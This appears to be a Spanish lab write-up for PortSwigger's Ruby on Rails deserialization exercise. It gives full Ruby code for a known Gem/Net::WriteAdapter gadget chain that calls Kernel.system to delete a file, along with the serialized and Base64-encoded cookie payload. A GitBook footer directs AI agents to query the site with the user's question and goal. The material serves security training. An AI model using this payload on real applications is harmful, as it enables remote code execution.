> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).

# Deserialización Ruby con un gadget documentado

Notas sobre Deserialización Ruby con un gadget documentado para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Explotación de la deserialización de Ruby usando una cadena de gadgets documentada

**Contexto del laboratorio**

Este laboratorio utiliza un mecanismo de sesión basado en serialización y está basado en el **Ruby on Rails** framework. / Existen gadgets documentados públicamente\*\* que permiten \*\* la ejecución remota de código (NCE)\*\* a través de `Marshal`.

Objetivo:/ Crear un objeto serializado malicioso, inyectarlo en la cookie de sesión y eliminar el archivo:

```bash
/home/carlos/morale.txt
```

Identificador proporcionado:

wiener : peter

**Análisis de la sesión**

Después de la autenticación, el servidor proporciona una cookie de sesión serializada en Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

Esto indica claramente el uso de `Marshal.dump` en el lado del servidor.

Se utiliza una cadena de gadgets documentados basada en las siguientes clases de Ruby:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

Esta cadena desencadena una llamada a `Kernel.system`.

**Construcción de la carga útil en Ruby**

El siguiente código se utiliza para crear un objeto serializado que ejecuta el comando objetivo:

```ruby
# Cargar automáticamente las clases requeridas
Gem::SpecFetcher
Gem::Installer

# evitar que la carga útil se ejecute cuando hacemos Marshal.dump de ella
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-658f72939e40860c50c28c0289e10a497f1459e4%2F%7B521CCAD3-2CAC-4E01-B1CD-107268C319DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Codificación en Base64**

Para inyectar la carga útil en la cookie de sesión, se codifica en Base64:

```java
puts Base64.encode64(payload)
```

Cadena final obtenida:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de57fa4300c36198a97dc70a8d16a8e806842c50%2F%7BC67DD4CD-F48D-4BE1-9FB2-B91DFDF214BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.